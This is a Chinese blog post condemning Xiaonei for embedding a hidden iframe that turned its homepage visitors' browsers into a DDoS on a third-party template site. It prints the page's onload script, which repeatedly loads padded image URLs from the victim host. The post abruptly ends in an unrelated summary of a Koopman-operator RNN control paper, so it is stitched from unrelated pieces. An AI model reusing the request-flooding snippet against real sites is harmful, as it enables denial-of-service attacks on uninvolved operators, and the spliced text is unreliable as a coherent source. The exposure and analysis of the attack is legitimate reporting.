原来“人”可以无耻到这种程度

在CNBeta看到这则消息[url=http://www.cnbeta.com/articles/54903.htm][b]大站挂iframe变相攻击小站 颜面尽失治标不治本[/b][/url],才发现“人”原来可以无耻到这种程度。

[b]校内网在其首页嵌入 iframe ,变相对某第三方模板站进行DDOS[/b]截图如下:


[color=red]UPDATE: 链接已经失效[/color]
[url=http://home.xiaonei.com/gaosizhan.jsp]目前还存在在校内服务器的gaosizhan.jsp (供分析之用)[/url]

[img]http://nealmi.iteye.com/upload/attachment/22663/15cb1883-ccab-3621-b837-c27772f4efcf.png[/img]
原理其实很简单,据说DDOS CNN的时候就是这么玩儿的。http://home.xiaonei.com/gaosizhan.jsp的源码如下

<html><body>Take Care</body>
<script>
document.body.onload=function(){
for (var i=0; i<3; i++) (new Image()).src="http://www.xiaoneimb.cn/main/?1209879875464"+i+"____________________________________________________________________________________________________________________________________________________________________________________________________________";
}
</script>
</html>
内容概要:本文围绕“基于数据驱动的 Koopman 算子的递归神经网络模型线性化,用于纳米定位系统的预测控制研究”展开,提出了一种结合Koopman算子理论与递归神经网络(RNN)的数据驱动建模方法,旨在对非线性纳米定位系统进行有效线性化建模,并实现高精度的模型预测控制(MPC)。该方法利用Koopman算子将非线性系统映射到高维线性空间,通过递归神经网络学习系统的动态演化规律,构建可解释性强、计算效率高的线性化模型,进而提升预测控制在复杂不确定性环境下的鲁棒性与跟踪精度。文中给出了完整的Matlab代码实现,涵盖数据预处理、网络训练、模型验证与MPC控制器设计等环节,具有较强的基于数据驱动的 Koopman 算子的递归神经网络模型线性化,用于纳米定位系统的预测控制研究(Matlab代码实现)可复现性和工程应用价值。; 适合群:具备一定控制理论基础和Matlab编程能力的研究生、科研员及自动化、精密仪器、机器等方向的工程技术员。; 使用场景及目标:①解决高精度纳米定位系统中非线性动态响应带来的控制难题;②实现复杂机电系统的数据驱动建模与预测控制一体化设计;③为非线性系统控制提供一种可替代传统机理建模的有效工具。; 阅读建议:建议结合提供的Matlab代码逐模块分析实现流程,重点关注Koopman观测矩阵构造、RNN网络结构设计与MPC控制器耦合机制,同时可通过替换实际系统数据进行迁移验证,深化对数据驱动控制方法的理解与应用能力。
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